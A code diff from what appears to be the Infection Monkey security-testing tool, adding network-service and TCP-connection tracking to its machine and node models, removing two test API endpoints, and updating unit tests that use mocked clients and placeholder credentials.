src_node.machine_id, {target_machine.id: tuple(tcp_connections)}
|
||||
)
|
||||
|
|
|
@ -31,8 +31,6 @@ from monkey_island.cc.resources import (
|
|||
from monkey_island.cc.resources.AbstractResource import AbstractResource
|
||||
from monkey_island.cc.resources.attack.attack_report import AttackReport
|
||||
from monkey_island.cc.resources.auth import Authenticate, Register, RegistrationStatus, init_jwt
|
||||
from monkey_island.cc.resources.blackbox.log_blackbox_endpoint import LogBlackboxEndpoint
|
||||
from monkey_island.cc.resources.blackbox.monkey_blackbox_endpoint import MonkeyBlackboxEndpoint
|
||||
from monkey_island.cc.resources.blackbox.telemetry_blackbox_endpoint import (
|
||||
TelemetryBlackboxEndpoint,
|
||||
)
|
||||
|
@ -207,8 +205,6 @@ def init_restful_endpoints(api: FlaskDIWrapper):
|
|||
# API Spec: Fix all the following endpoints, see comments in the resource classes
|
||||
# Note: Preferably, the API will provide a rich feature set and allow access to all of the
|
||||
# necessary data. This would make these endpoints obsolete.
|
||||
api.add_resource(MonkeyBlackboxEndpoint)
|
||||
api.add_resource(LogBlackboxEndpoint)
|
||||
api.add_resource(TelemetryBlackboxEndpoint)
|
||||
|
||||
|
||||
|
|
|
@ -1,19 +1,45 @@
|
|||
import json
|
||||
from ipaddress import IPv4Interface
|
||||
from typing import Optional, Sequence
|
||||
from typing import Any, Dict, Mapping, Optional, Sequence
|
||||
|
||||
from pydantic import Field, validator
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.base_models import MutableInfectionMonkeyBaseModel
|
||||
from common.base_models import MutableInfectionMonkeyBaseModel, MutableInfectionMonkeyModelConfig
|
||||
from common.transforms import make_immutable_sequence
|
||||
from common.types import HardwareID
|
||||
from common.types import HardwareID, NetworkService, SocketAddress
|
||||
|
||||
from . import MachineID
|
||||
|
||||
|
||||
def _serialize_network_services(machine_dict: Dict, *, default):
|
||||
machine_dict["network_services"] = {
|
||||
str(addr): val for addr, val in machine_dict["network_services"].items()
|
||||
}
|
||||
return json.dumps(machine_dict, default=default)
|
||||
|
||||
|
||||
class Machine(MutableInfectionMonkeyBaseModel):
|
||||
"""Represents machines, VMs, or other network nodes discovered by Infection Monkey"""
|
||||
|
||||
class Config(MutableInfectionMonkeyModelConfig):
|
||||
json_dumps = _serialize_network_services
|
||||
|
||||
@validator("network_services", pre=True)
|
||||
def _socketaddress_from_string(cls, v: Any) -> Any:
|
||||
if not isinstance(v, Mapping):
|
||||
# Let pydantic's type validation handle this
|
||||
return v
|
||||
|
||||
new_network_services = {}
|
||||
for addr, service in v.items():
|
||||
if isinstance(addr, SocketAddress):
|
||||
new_network_services[addr] = service
|
||||
else:
|
||||
new_network_services[SocketAddress.from_string(addr)] = service
|
||||
|
||||
return new_network_services
|
||||
|
||||
id: MachineID = Field(..., allow_mutation=False)
|
||||
"""Uniquely identifies the machine within the island"""
|
||||
|
||||
|
@ -35,6 +61,9 @@ class Machine(MutableInfectionMonkeyBaseModel):
|
|||
hostname: str = ""
|
||||
"""The hostname of the machine"""
|
||||
|
||||
network_services: Mapping[SocketAddress, NetworkService] = Field(default_factory=dict)
|
||||
"""All network services found running on the machine"""
|
||||
|
||||
_make_immutable_sequence = validator("network_interfaces", pre=True, allow_reuse=True)(
|
||||
make_immutable_sequence
|
||||
)
|
||||
|
|
|
@ -1,13 +1,15 @@
|
|||
from typing import FrozenSet, Mapping
|
||||
from typing import Dict, FrozenSet, Mapping, Tuple
|
||||
|
||||
from pydantic import Field
|
||||
from typing_extensions import TypeAlias
|
||||
|
||||
from common.base_models import MutableInfectionMonkeyBaseModel
|
||||
from common.types import SocketAddress
|
||||
|
||||
from . import CommunicationType, MachineID
|
||||
|
||||
NodeConnections: TypeAlias = Mapping[MachineID, FrozenSet[CommunicationType]]
|
||||
TCPConnections: TypeAlias = Dict[MachineID, Tuple[SocketAddress, ...]]
|
||||
|
||||
|
||||
class Node(MutableInfectionMonkeyBaseModel):
|
||||
|
@ -24,3 +26,6 @@ class Node(MutableInfectionMonkeyBaseModel):
|
|||
|
||||
connections: NodeConnections
|
||||
"""All outbound connections from this node to other machines"""
|
||||
|
||||
tcp_connections: TCPConnections = {}
|
||||
"""All successfull outbound TCP connections"""
|
||||
|
|
|
@ -2,6 +2,7 @@ from abc import ABC, abstractmethod
|
|||
from typing import Sequence
|
||||
|
||||
from monkey_island.cc.models import CommunicationType, MachineID, Node
|
||||
from monkey_island.cc.models.node import TCPConnections
|
||||
|
||||
|
||||
class INodeRepository(ABC):
|
||||
|
@ -25,6 +26,15 @@ class INodeRepository(ABC):
|
|||
:raises StorageError: If an error occurs while attempting to upsert the Node
|
||||
"""
|
||||
|
||||
@abstractmethod
|
||||
def upsert_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections):
|
||||
"""
|
||||
Add TCP connections to Node
|
||||
:param machine_id: Machine ID of the Node that made the connections
|
||||
:param tcp_connections: TCP connections made by node
|
||||
:raises StorageError: If an error occurs while attempting to add connections
|
||||
"""
|
||||
|
||||
@abstractmethod
|
||||
def get_nodes(self) -> Sequence[Node]:
|
||||
"""
|
||||
|
@ -34,6 +44,15 @@ class INodeRepository(ABC):
|
|||
:raises RetrievalError: If an error occurs while attempting to retrieve the nodes
|
||||
"""
|
||||
|
||||
@abstractmethod
|
||||
def get_node_by_machine_id(self, machine_id: MachineID) -> Node:
|
||||
"""
|
||||
Fetches network Node from the database based on Machine id
|
||||
:param machine_id: ID of a Machine that Node represents
|
||||
:return: network Node that represents the Machine
|
||||
:raises UnknownRecordError: If the Node does not exist
|
||||
"""
|
||||
|
||||
@abstractmethod
|
||||
def reset(self):
|
||||
"""
|
||||
|
|
|
@ -5,7 +5,8 @@ from pymongo import MongoClient
|
|||
|
||||
from monkey_island.cc.models import CommunicationType, MachineID, Node
|
||||
|
||||
from . import INodeRepository, RemovalError, RetrievalError, StorageError
|
||||
from ..models.node import TCPConnections
|
||||
from . import INodeRepository, RemovalError, RetrievalError, StorageError, UnknownRecordError
|
||||
from .consts import MONGO_OBJECT_ID_KEY
|
||||
|
||||
UPSERT_ERROR_MESSAGE = "An error occurred while attempting to upsert a node"
|
||||
|
@ -20,19 +21,14 @@ class MongoNodeRepository(INodeRepository):
|
|||
self, src: MachineID, dst: MachineID, communication_type: CommunicationType
|
||||
):
|
||||
try:
|
||||
node_dict = self._nodes_collection.find_one(
|
||||
{SRC_FIELD_NAME: src}, {MONGO_OBJECT_ID_KEY: False}
|
||||
)
|
||||
except Exception as err:
|
||||
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
|
||||
|
||||
if node_dict is None:
|
||||
updated_node = Node(machine_id=src, connections={dst: frozenset((communication_type,))})
|
||||
else:
|
||||
node = Node(**node_dict)
|
||||
node = self.get_node_by_machine_id(src)
|
||||
updated_node = MongoNodeRepository._add_connection_to_node(
|
||||
node, dst, communication_type
|
||||
)
|
||||
except UnknownRecordError:
|
||||
updated_node = Node(machine_id=src, connections={dst: frozenset((communication_type,))})
|
||||
except Exception as err:
|
||||
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
|
||||
|
||||
self._upsert_node(updated_node)
|
||||
|
||||
|
@ -50,6 +46,19 @@ class MongoNodeRepository(INodeRepository):
|
|||
|
||||
return new_node
|
||||
|
||||
def upsert_tcp_connections(self, machine_id: MachineID, tcp_connections: TCPConnections):
|
||||
try:
|
||||
node = self.get_node_by_machine_id(machine_id)
|
||||
except UnknownRecordError:
|
||||
node = Node(machine_id=machine_id, connections={})
|
||||
|
||||
for target, connections in tcp_connections.items():
|
||||
if target in node.tcp_connections:
|
||||
node.tcp_connections[target] = tuple({*node.tcp_connections[target], *connections})
|
||||
else:
|
||||
node.tcp_connections[target] = connections
|
||||
self._upsert_node(node)
|
||||
|
||||
def _upsert_node(self, node: Node):
|
||||
try:
|
||||
result = self._nodes_collection.replace_one(
|
||||
|
@ -58,18 +67,20 @@ class MongoNodeRepository(INodeRepository):
|
|||
except Exception as err:
|
||||
raise StorageError(f"{UPSERT_ERROR_MESSAGE}: {err}")
|
||||
|
||||
if result.matched_count != 0 and result.modified_count != 1:
|
||||
raise StorageError(
|
||||
f'Error updating node with source ID "{node.machine_id}": Expected to update 1 '
|
||||
f"node, but {result.modified_count} were updated"
|
||||
)
|
||||
|
||||
if result.matched_count == 0 and result.upserted_id is None:
|
||||
raise StorageError(
|
||||
f'Error inserting node with source ID "{node.machine_id}": Expected to insert 1 '
|
||||
f"node, but no nodes were inserted"
|
||||
)
|
||||
|
||||
def get_node_by_machine_id(self, machine_id: MachineID) -> Node:
|
||||
node_dict = self._nodes_collection.find_one(
|
||||
{SRC_FIELD_NAME: machine_id}, {MONGO_OBJECT_ID_KEY: False}
|
||||
)
|
||||
if not node_dict:
|
||||
raise UnknownRecordError(f"Node with machine ID {machine_id}")
|
||||
return Node(**node_dict)
|
||||
|
||||
def get_nodes(self) -> Sequence[Node]:
|
||||
try:
|
||||
cursor = self._nodes_collection.find({}, {MONGO_OBJECT_ID_KEY: False})
|
||||
|
|
|
@ -1,20 +0,0 @@
|
|||
from bson import json_util
|
||||
from flask import request
|
||||
|
||||
from monkey_island.cc.database import database, mongo
|
||||
from monkey_island.cc.resources.AbstractResource import AbstractResource
|
||||
from monkey_island.cc.resources.request_authentication import jwt_required
|
||||
|
||||
|
||||
class LogBlackboxEndpoint(AbstractResource):
|
||||
# API Spec: Rename to noun, BlackboxTestsLogs or something
|
||||
urls = ["/api/test/log"]
|
||||
|
||||
@jwt_required
|
||||
def get(self):
|
||||
find_query = json_util.loads(request.args.get("find_query"))
|
||||
log = mongo.db.log.find_one(find_query)
|
||||
if not log:
|
||||
return {"results": None}
|
||||
log_file = database.gridfs.get(log["file_id"])
|
||||
return {"results": log_file.read().decode()}
|
|
@ -1,16 +0,0 @@
|
|||
from bson import json_util
|
||||
from flask import request
|
||||
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.resources.AbstractResource import AbstractResource
|
||||
from monkey_island.cc.resources.request_authentication import jwt_required
|
||||
|
||||
|
||||
class MonkeyBlackboxEndpoint(AbstractResource):
|
||||
# API Spec: Rename to noun, BlackboxTestsMonkeys or something
|
||||
urls = ["/api/test/monkey"]
|
||||
|
||||
@jwt_required
|
||||
def get(self, **kw):
|
||||
find_query = json_util.loads(request.args.get("find_query"))
|
||||
return {"results": list(mongo.db.monkey.find(find_query))}
|
File diff suppressed because it is too large
Load Diff
|
@ -77,7 +77,7 @@
|
|||
"classnames": "^2.3.1",
|
||||
"core-js": "^3.18.2",
|
||||
"crypto-js": "^4.1.1",
|
||||
"d3": "^5.14.1",
|
||||
"d3": "^7.6.1",
|
||||
"downloadjs": "^1.4.7",
|
||||
"fetch": "^1.1.0",
|
||||
"file-saver": "^2.0.5",
|
||||
|
|
|
@ -16,6 +16,7 @@ LM_HASH_LIST = ["bogo_lm_1"]
|
|||
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
|
||||
|
||||
bogus_servers = ["1.1.1.1:5000", "2.2.2.2:5007"]
|
||||
VICTIM_IP = "10.10.10.1"
|
||||
|
||||
|
||||
mock_agent_binary_repository = MagicMock()
|
||||
|
@ -23,7 +24,25 @@ mock_agent_binary_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EX
|
|||
|
||||
|
||||
@pytest.fixture
|
||||
def powershell_arguments(http_and_https_both_enabled_host):
|
||||
def host_with_ip_address(http_and_https_both_enabled_host):
|
||||
http_and_https_both_enabled_host.ip_addr = VICTIM_IP
|
||||
return http_and_https_both_enabled_host
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def http_host_with_ip_address(http_only_host):
|
||||
http_only_host.ip_addr = VICTIM_IP
|
||||
return http_only_host
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def https_host_with_ip_address(https_only_host):
|
||||
https_only_host.ip_addr = VICTIM_IP
|
||||
return https_only_host
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def powershell_arguments(host_with_ip_address):
|
||||
options = {
|
||||
"credentials": {
|
||||
"exploit_user_list": USER_LIST,
|
||||
|
@ -33,12 +52,12 @@ def powershell_arguments(http_and_https_both_enabled_host):
|
|||
},
|
||||
}
|
||||
arguments = {
|
||||
"host": http_and_https_both_enabled_host,
|
||||
"host": host_with_ip_address,
|
||||
"servers": bogus_servers,
|
||||
"options": options,
|
||||
"current_depth": 2,
|
||||
"telemetry_messenger": MagicMock(),
|
||||
"event_queue": MagicMock(),
|
||||
"agent_event_queue": MagicMock(),
|
||||
"agent_binary_repository": mock_agent_binary_repository,
|
||||
"interrupt": threading.Event(),
|
||||
}
|
||||
|
@ -63,8 +82,10 @@ def test_powershell_disabled(powershell_exploiter, powershell_arguments, powersh
|
|||
assert "disabled" in exploit_result.error_message
|
||||
|
||||
|
||||
def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments, http_only_host):
|
||||
powershell_arguments["host"] = http_only_host
|
||||
def test_powershell_http(
|
||||
monkeypatch, powershell_exploiter, powershell_arguments, http_host_with_ip_address
|
||||
):
|
||||
powershell_arguments["host"] = http_host_with_ip_address
|
||||
|
||||
mock_powershell_client = MagicMock()
|
||||
monkeypatch.setattr(
|
||||
|
@ -77,7 +98,7 @@ def test_powershell_http(monkeypatch, powershell_exploiter, powershell_arguments
|
|||
assert not call_args[0][2].ssl
|
||||
|
||||
|
||||
def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments, https_only_host):
|
||||
def test_powershell_https(monkeypatch, powershell_exploiter, powershell_arguments):
|
||||
mock_powershell_client = MagicMock()
|
||||
mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login"))
|
||||
mock_powershell_client_constructor = MagicMock(return_value=mock_powershell_client)
|
||||
|
@ -191,11 +212,11 @@ def test_build_monkey_execution_command():
|
|||
|
||||
|
||||
def test_skip_http_only_logins(
|
||||
monkeypatch, powershell_exploiter, powershell_arguments, https_only_host
|
||||
monkeypatch, powershell_exploiter, powershell_arguments, https_host_with_ip_address
|
||||
):
|
||||
# Only HTTPS is enabled on the destination, so we should never try to connect with "" empty
|
||||
# password, since connection with empty password requires SSL == False.
|
||||
powershell_arguments["host"] = https_only_host
|
||||
powershell_arguments["host"] = https_host_with_ip_address
|
||||
|
||||
mock_powershell_client = MagicMock()
|
||||
mock_powershell_client.connect = MagicMock(side_effect=Exception("Failed login"))
|
||||
|
|
|
@ -1,3 +1,4 @@
|
|||
from copy import deepcopy
|
||||
from ipaddress import IPv4Address, IPv4Interface
|
||||
from itertools import count
|
||||
from unittest.mock import MagicMock
|
||||
|
@ -9,7 +10,7 @@ from common import OperatingSystem
|
|||
from common.agent_events import PingScanEvent, TCPScanEvent
|
||||
from common.types import PortStatus, SocketAddress
|
||||
from monkey_island.cc.agent_event_handlers import ScanEventHandler
|
||||
from monkey_island.cc.models import Agent, CommunicationType, Machine
|
||||
from monkey_island.cc.models import Agent, CommunicationType, Machine, Node
|
||||
from monkey_island.cc.repository import (
|
||||
IAgentRepository,
|
||||
IMachineRepository,
|
||||
|
@ -29,43 +30,60 @@ SOURCE_MACHINE = Machine(
|
|||
hardware_id=5,
|
||||
network_interfaces=[IPv4Interface("10.10.10.99/24")],
|
||||
)
|
||||
|
||||
TARGET_MACHINE_ID = 33
|
||||
TARGET_MACHINE_IP = "10.10.10.1"
|
||||
TARGET_MACHINE = Machine(
|
||||
id=33,
|
||||
id=TARGET_MACHINE_ID,
|
||||
hardware_id=9,
|
||||
network_interfaces=[IPv4Interface("10.10.10.1/24")],
|
||||
network_interfaces=[IPv4Interface(f"{TARGET_MACHINE_IP}/24")],
|
||||
)
|
||||
|
||||
SOURCE_NODE = Node(
|
||||
machine_id=SOURCE_MACHINE.id,
|
||||
connections=[],
|
||||
tcp_connections={
|
||||
44: (SocketAddress(ip="1.1.1.1", port=40), SocketAddress(ip="2.2.2.2", port=50))
|
||||
},
|
||||
)
|
||||
|
||||
PING_SCAN_EVENT = PingScanEvent(
|
||||
source=AGENT_ID,
|
||||
target=IPv4Address("10.10.10.1"),
|
||||
target=IPv4Address(TARGET_MACHINE_IP),
|
||||
response_received=True,
|
||||
os=OperatingSystem.LINUX,
|
||||
)
|
||||
|
||||
PING_SCAN_EVENT_NO_RESPONSE = PingScanEvent(
|
||||
source=AGENT_ID,
|
||||
target=IPv4Address("10.10.10.1"),
|
||||
target=IPv4Address(TARGET_MACHINE_IP),
|
||||
response_received=False,
|
||||
os=OperatingSystem.LINUX,
|
||||
)
|
||||
|
||||
PING_SCAN_EVENT_NO_OS = PingScanEvent(
|
||||
source=AGENT_ID,
|
||||
target=IPv4Address("10.10.10.1"),
|
||||
target=IPv4Address(TARGET_MACHINE_IP),
|
||||
response_received=True,
|
||||
os=None,
|
||||
)
|
||||
|
||||
|
||||
TCP_SCAN_EVENT = TCPScanEvent(
|
||||
source=AGENT_ID,
|
||||
target=IPv4Address("10.10.10.1"),
|
||||
ports={22: PortStatus.OPEN, 8080: PortStatus.CLOSED},
|
||||
target=IPv4Address(TARGET_MACHINE_IP),
|
||||
ports={22: PortStatus.OPEN, 80: PortStatus.OPEN, 8080: PortStatus.CLOSED},
|
||||
)
|
||||
|
||||
TCP_CONNECTIONS = {
|
||||
TARGET_MACHINE_ID: (
|
||||
SocketAddress(ip=TARGET_MACHINE_IP, port=22),
|
||||
SocketAddress(ip=TARGET_MACHINE_IP, port=80),
|
||||
)
|
||||
}
|
||||
|
||||
TCP_SCAN_EVENT_CLOSED = TCPScanEvent(
|
||||
source=AGENT_ID,
|
||||
target=IPv4Address("10.10.10.1"),
|
||||
target=IPv4Address(TARGET_MACHINE_IP),
|
||||
ports={145: PortStatus.CLOSED, 8080: PortStatus.CLOSED},
|
||||
)
|
||||
|
||||
|
@ -91,6 +109,8 @@ def machine_repository() -> IMachineRepository:
|
|||
@pytest.fixture
|
||||
def node_repository() -> INodeRepository:
|
||||
node_repository = MagicMock(spec=INodeRepository)
|
||||
node_repository.get_nodes.return_value = [deepcopy(SOURCE_NODE)]
|
||||
node_repository.upsert_node = MagicMock()
|
||||
node_repository.upsert_communication = MagicMock()
|
||||
return node_repository
|
||||
|
||||
|
@ -103,7 +123,7 @@ def scan_event_handler(agent_repository, machine_repository, node_repository):
|
|||
MACHINES_BY_ID = {MACHINE_ID: SOURCE_MACHINE, TARGET_MACHINE.id: TARGET_MACHINE}
|
||||
MACHINES_BY_IP = {
|
||||
IPv4Address("10.10.10.99"): [SOURCE_MACHINE],
|
||||
IPv4Address("10.10.10.1"): [TARGET_MACHINE],
|
||||
IPv4Address(TARGET_MACHINE_IP): [TARGET_MACHINE],
|
||||
}
|
||||
|
||||
|
||||
|
@ -186,6 +206,44 @@ def test_tcp_scan_event_target_machine_not_exists(
|
|||
machine_repository.upsert_machine.assert_called_with(expected_machine)
|
||||
|
||||
|
||||
def test_handle_tcp_scan_event__no_open_ports(
|
||||
scan_event_handler, machine_repository, node_repository
|
||||
):
|
||||
event = TCP_SCAN_EVENT_CLOSED
|
||||
scan_event_handler._update_nodes = MagicMock()
|
||||
scan_event_handler.handle_tcp_scan_event(event)
|
||||
|
||||
assert not node_repository.upsert_tcp_connections.called
|
||||
|
||||
|
||||
def test_handle_tcp_scan_event__ports_found(
|
||||
scan_event_handler, machine_repository, node_repository
|
||||
):
|
||||
event = TCP_SCAN_EVENT
|
||||
scan_event_handler._update_nodes = MagicMock()
|
||||
node_repository.get_node_by_machine_id.return_value = SOURCE_NODE
|
||||
scan_event_handler.handle_tcp_scan_event(event)
|
||||
|
||||
call_args = node_repository.upsert_tcp_connections.call_args[0]
|
||||
assert call_args[0] == MACHINE_ID
|
||||
assert TARGET_MACHINE_ID in call_args[1]
|
||||
open_socket_addresses = call_args[1][TARGET_MACHINE_ID]
|
||||
assert set(open_socket_addresses) == set(TCP_CONNECTIONS[TARGET_MACHINE_ID])
|
||||
assert len(open_socket_addresses) == len(TCP_CONNECTIONS[TARGET_MACHINE_ID])
|
||||
|
||||
|
||||
def test_handle_tcp_scan_event__no_source(
|
||||
caplog, scan_event_handler, machine_repository, node_repository
|
||||
):
|
||||
event = TCP_SCAN_EVENT
|
||||
node_repository.get_node_by_machine_id = MagicMock(side_effect=UnknownRecordError("no source"))
|
||||
scan_event_handler._update_nodes = MagicMock()
|
||||
|
||||
scan_event_handler.handle_tcp_scan_event(event)
|
||||
assert "ERROR" in caplog.text
|
||||
assert "no source" in caplog.text
|
||||
|
||||
|
||||
@pytest.mark.parametrize(
|
||||
"event,handler",
|
||||
[(PING_SCAN_EVENT, HANDLE_PING_SCAN_METHOD), (TCP_SCAN_EVENT, HANDLE_TCP_SCAN_METHOD)],
|
||||
|
|
|
@ -6,8 +6,12 @@ from typing import MutableSequence
|
|||
import pytest
|
||||
|
||||
from common import OperatingSystem
|
||||
from common.types import NetworkService, SocketAddress
|
||||
from monkey_island.cc.models import Machine
|
||||
|
||||
SOCKET_ADDR_1 = "192.168.1.10:5000"
|
||||
SOCKET_ADDR_2 = "192.168.1.10:8080"
|
||||
|
||||
MACHINE_OBJECT_DICT = MappingProxyType(
|
||||
{
|
||||
"id": 1,
|
||||
|
@ -17,6 +21,10 @@ MACHINE_OBJECT_DICT = MappingProxyType(
|
|||
"operating_system": OperatingSystem.WINDOWS,
|
||||
"operating_system_version": "eXtra Problems",
|
||||
"hostname": "my.host",
|
||||
"network_services": {
|
||||
SocketAddress.from_string(SOCKET_ADDR_1): NetworkService.UNKNOWN,
|
||||
SocketAddress.from_string(SOCKET_ADDR_2): NetworkService.UNKNOWN,
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
|
@ -26,9 +34,13 @@ MACHINE_SIMPLE_DICT = MappingProxyType(
|
|||
"hardware_id": uuid.getnode(),
|
||||
"island": True,
|
||||
"network_interfaces": ["10.0.0.1/24", "192.168.5.32/16"],
|
||||
"operating_system": "windows",
|
||||
"operating_system": OperatingSystem.WINDOWS.value,
|
||||
"operating_system_version": "eXtra Problems",
|
||||
"hostname": "my.host",
|
||||
"network_services": {
|
||||
SOCKET_ADDR_1: NetworkService.UNKNOWN.value,
|
||||
SOCKET_ADDR_2: NetworkService.UNKNOWN.value,
|
||||
},
|
||||
}
|
||||
)
|
||||
|
||||
|
@ -60,6 +72,11 @@ def test_to_dict():
|
|||
("operating_system", "bsd"),
|
||||
("operating_system_version", {}),
|
||||
("hostname", []),
|
||||
("network_services", 42),
|
||||
("network_services", [SOCKET_ADDR_1]),
|
||||
("network_services", None),
|
||||
("network_services", {SOCKET_ADDR_1: "Hello"}),
|
||||
("network_services", {SocketAddress.from_string(SOCKET_ADDR_1): "Hello"}),
|
||||
],
|
||||
)
|
||||
def test_construct_invalid_field__type_error(key, value):
|
||||
|
@ -77,6 +94,7 @@ def test_construct_invalid_field__type_error(key, value):
|
|||
("hardware_id", 0),
|
||||
("network_interfaces", [1, "stuff", 3]),
|
||||
("network_interfaces", ["10.0.0.1/16", 2, []]),
|
||||
("network_services", {"192.168.": NetworkService.UNKNOWN.value}),
|
||||
],
|
||||
)
|
||||
def test_construct_invalid_field__value_error(key, value):
|
||||
|
@ -230,3 +248,19 @@ def test_hostname_default_value():
|
|||
m = Machine(**missing_hostname_dict)
|
||||
|
||||
assert m.hostname == ""
|
||||
|
||||
|
||||
def test_set_network_services_validates():
|
||||
m = Machine(**MACHINE_OBJECT_DICT)
|
||||
|
||||
with pytest.raises(ValueError):
|
||||
m.network_services = {"not-an-ip": NetworkService.UNKNOWN.value}
|
||||
|
||||
|
||||
def test_set_network_services_default_value():
|
||||
missing_network_services = MACHINE_OBJECT_DICT.copy()
|
||||
del missing_network_services["network_services"]
|
||||
|
||||
m = Machine(**missing_network_services)
|
||||
|
||||
assert m.network_services == {}
|
||||
|
|
|
@ -2,6 +2,7 @@ from typing import MutableSequence
|
|||
|
||||
import pytest
|
||||
|
||||
from common.types import SocketAddress
|
||||
from monkey_island.cc.models import CommunicationType, Node
|
||||
|
||||
|
||||
|
@ -11,13 +12,21 @@ def test_constructor():
|
|||
6: frozenset((CommunicationType.SCANNED,)),
|
||||
7: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)),
|
||||
}
|
||||
tcp_connections = {
|
||||
6: tuple(
|
||||
(SocketAddress(ip="192.168.1.1", port=80), SocketAddress(ip="192.168.1.1", port=443))
|
||||
),
|
||||
7: tuple((SocketAddress(ip="192.168.1.2", port=22),)),
|
||||
}
|
||||
n = Node(
|
||||
machine_id=1,
|
||||
machine_id=machine_id,
|
||||
connections=connections,
|
||||
tcp_connections=tcp_connections,
|
||||
)
|
||||
|
||||
assert n.machine_id == machine_id
|
||||
assert n.connections == connections
|
||||
assert n.tcp_connections == tcp_connections
|
||||
|
||||
|
||||
def test_serialization():
|
||||
|
@ -27,9 +36,12 @@ def test_serialization():
|
|||
"6": [CommunicationType.CC.value, CommunicationType.SCANNED.value],
|
||||
"7": [CommunicationType.EXPLOITED.value, CommunicationType.CC.value],
|
||||
},
|
||||
"tcp_connections": {
|
||||
"6": [{"ip": "192.168.1.1", "port": 80}, {"ip": "192.168.1.1", "port": 443}],
|
||||
"7": [{"ip": "192.168.1.2", "port": 22}],
|
||||
},
|
||||
}
|
||||
# "6": frozenset((CommunicationType.CC, CommunicationType.SCANNED)),
|
||||
# "7": frozenset((CommunicationType.EXPLOITED, CommunicationType.CC)),
|
||||
|
||||
n = Node(**node_dict)
|
||||
|
||||
serialized_node = n.dict(simplify=True)
|
||||
|
@ -44,6 +56,8 @@ def test_serialization():
|
|||
for key, value in serialized_node["connections"].items():
|
||||
assert set(value) == set(node_dict["connections"][key])
|
||||
|
||||
assert serialized_node["tcp_connections"] == node_dict["tcp_connections"]
|
||||
|
||||
|
||||
def test_machine_id_immutable():
|
||||
n = Node(machine_id=1, connections={})
|
||||
|
|
|
@ -3,6 +3,7 @@ from unittest.mock import MagicMock
|
|||
import mongomock
|
||||
import pytest
|
||||
|
||||
from common.types import SocketAddress
|
||||
from monkey_island.cc.models import CommunicationType, Node
|
||||
from monkey_island.cc.repository import (
|
||||
INodeRepository,
|
||||
|
@ -10,8 +11,17 @@ from monkey_island.cc.repository import (
|
|||
RemovalError,
|
||||
RetrievalError,
|
||||
StorageError,
|
||||
UnknownRecordError,
|
||||
)
|
||||
|
||||
TARGET_MACHINE_IP = "2.2.2.2"
|
||||
|
||||
TCP_CONNECTION_PORT_22 = {3: (SocketAddress(ip=TARGET_MACHINE_IP, port=22),)}
|
||||
TCP_CONNECTION_PORT_80 = {3: (SocketAddress(ip=TARGET_MACHINE_IP, port=80),)}
|
||||
ALL_TCP_CONNECTIONS = {
|
||||
3: (SocketAddress(ip=TARGET_MACHINE_IP, port=22), SocketAddress(ip=TARGET_MACHINE_IP, port=80))
|
||||
}
|
||||
|
||||
NODES = (
|
||||
Node(
|
||||
machine_id=1,
|
||||
|
@ -23,6 +33,7 @@ NODES = (
|
|||
Node(
|
||||
machine_id=2,
|
||||
connections={1: frozenset((CommunicationType.CC,))},
|
||||
tcp_connections=TCP_CONNECTION_PORT_22,
|
||||
),
|
||||
Node(
|
||||
machine_id=3,
|
||||
|
@ -32,10 +43,7 @@ NODES = (
|
|||
5: frozenset((CommunicationType.SCANNED, CommunicationType.EXPLOITED)),
|
||||
},
|
||||
),
|
||||
Node(
|
||||
machine_id=4,
|
||||
connections={},
|
||||
),
|
||||
Node(machine_id=4, connections={}, tcp_connections=ALL_TCP_CONNECTIONS),
|
||||
Node(
|
||||
machine_id=5,
|
||||
connections={
|
||||
|
@ -163,21 +171,6 @@ def test_upsert_communication__replace_one_fails(
|
|||
error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED)
|
||||
|
||||
|
||||
def test_upsert_communication__replace_one_matched_without_modify(
|
||||
error_raising_mock_mongo_client, error_raising_node_repository
|
||||
):
|
||||
mock_result = MagicMock()
|
||||
mock_result.matched_count = 1
|
||||
mock_result.modified_count = 0
|
||||
error_raising_mock_mongo_client.monkey_island.nodes.find_one = MagicMock(return_value=None)
|
||||
error_raising_mock_mongo_client.monkey_island.nodes.replace_one = MagicMock(
|
||||
return_value=mock_result
|
||||
)
|
||||
|
||||
with pytest.raises(StorageError):
|
||||
error_raising_node_repository.upsert_communication(1, 2, CommunicationType.SCANNED)
|
||||
|
||||
|
||||
def test_upsert_communication__replace_one_insert_fails(
|
||||
error_raising_mock_mongo_client, error_raising_node_repository
|
||||
):
|
||||
|
@ -216,3 +209,43 @@ def test_reset(node_repository):
|
|||
def test_reset__removal_error(error_raising_node_repository):
|
||||
with pytest.raises(RemovalError):
|
||||
error_raising_node_repository.reset()
|
||||
|
||||
|
||||
def test_upsert_tcp_connections__empty_connections(node_repository):
|
||||
node_repository.upsert_tcp_connections(1, TCP_CONNECTION_PORT_22)
|
||||
nodes = node_repository.get_nodes()
|
||||
for node in nodes:
|
||||
if node.machine_id == 1:
|
||||
assert node.tcp_connections == TCP_CONNECTION_PORT_22
|
||||
|
||||
|
||||
def test_upsert_tcp_connections__upsert_new_port(node_repository):
|
||||
node_repository.upsert_tcp_connections(2, TCP_CONNECTION_PORT_80)
|
||||
nodes = node_repository.get_nodes()
|
||||
modified_node = [node for node in nodes if node.machine_id == 2][0]
|
||||
assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS)
|
||||
assert len(modified_node.tcp_connections) == len(ALL_TCP_CONNECTIONS)
|
||||
|
||||
|
||||
def test_upsert_tcp_connections__port_already_present(node_repository):
|
||||
node_repository.upsert_tcp_connections(4, TCP_CONNECTION_PORT_80)
|
||||
nodes = node_repository.get_nodes()
|
||||
modified_node = [node for node in nodes if node.machine_id == 4][0]
|
||||
assert set(modified_node.tcp_connections) == set(ALL_TCP_CONNECTIONS)
|
||||
assert len(modified_node.tcp_connections) == len(ALL_TCP_CONNECTIONS)
|
||||
|
